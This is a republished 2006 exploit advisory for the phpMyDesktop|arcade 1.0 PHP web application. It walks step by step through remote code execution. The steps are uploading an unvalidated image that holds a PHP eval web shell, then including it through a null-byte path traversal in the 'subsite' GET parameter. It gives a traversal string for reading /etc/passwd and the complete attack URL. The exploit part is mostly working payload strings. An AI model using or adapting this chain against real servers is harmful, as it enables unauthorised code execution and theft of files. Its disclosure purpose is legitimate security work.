Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12901
HistoryMay 31, 2006 - 12:00 a.m.

phpMyDesktop|arcade 1.0 FINAL Code Execution

2006-05-3100:00:00
vulners.com
25

phpMyDesktop|arcade 1.0 FINAL
Code Execution Exploit

found-by: darkgod ([email protected])
links: criticalsecurity.NET, hackthissite.org, hacbloc.org

video-@: http://dgod.dajoob.com/videos/phpmydesktoparcade.rar

phpMyDesktop|arcade is a php-based 'bridge' between a game and message board.
Its got a very nice interface, and many customiseable options.

Unfortunately, it suffers from two [three.] vulnerabilities.

  1. Images are not checked for validity.
    This may not be a vuln in itself – because code won't execute inside images. But you could
    mess with Internet Explorer, which in some versions allow HTML inside of images.

  2. GET variable 'subsite' not sanitized.
    todo=showsubsite&subsite=…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00
    (example.)

Now, how does this allow code execution, you ask?

We upload our image with content of: <?php eval(stripslashes($_GET['code'])); ?>

To upload, you must post in one of the blocks. It will NOT POST YOUR CONTENT. This is because
it is trying first to create a thumbnail of your image, which is invalid, so it will bork.
But the image still gets uploaded.

So, now we use the second vulnerability.

Firstly, we must get to the 'top' of the drive, and find our way back. Create an error with it first,
so you can see the full path (let's say its /var/www/html/phpmydesktop1/.)

So, in order to get our code, you must do:

…/…/…/…/…/…/…/…/var/www/html/phpmydesktop1/uploads/images/imagename.jpg%00

And assuming you uploaded what I said, the file query (in your addressbar)
will look like:

/phpmydesktop1/index.php?todo=showsubsite&subsite=…/…/…/…/…/…/…/…/var/www/html/phpmydesktop1/uploads/images/imagename.jpg%00

And add a &code=print('h0n0r');
To execute any code you wish.

dgod.

Vulnerability Status:
Over at pmd-arcade.sourceforge.net, their contact & support page is down, so I see no easy way of contacting them.